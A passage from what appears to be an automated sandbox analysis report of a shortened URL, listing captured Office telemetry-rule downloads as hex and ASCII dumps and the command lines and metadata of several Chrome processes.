2024-11-18 23:02:33 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49901	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:33 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:33 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:33 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 145694f3-701e-000d-397a-366de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230233Z-164f84587bfsgfx9hC1DFWw1as00000006d0000000008kus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:33 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49902	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:33 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:33 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:33 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: ebe18760-701e-003e-14ca-3979b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230233Z-r18f44ddb69sdkt7hC1DFWgpqs00000000cg000000002b20 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:33 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49903	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:33 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:34 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 99e874a7-501e-00a0-6b09-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230234Z-16547b76f7f2b5qzhC1DFWeag400000004rg000000004brp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:34 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49904	13.107.246.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 23:02:34 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 23:02:34 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 23:02:34 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 4da461bd-e01e-0033-7a09-374695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T230234Z-r18f44ddb69tncq7hC1DFW3ke800000000hg00000000f84x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 23:02:34 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 4852, Parent PID: 1892

General

Target ID:	0
Start time:	18:01:10
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 2872, Parent PID: 4852

General

Target ID:	2
Start time:	18:01:14
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=2016,i,9354642657652091617,14615780449319768954,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6364, Parent PID: 1892

General

Target ID:	3
Start time:	18:01:17
Start date:	18/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://t.ly/ShNFU"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly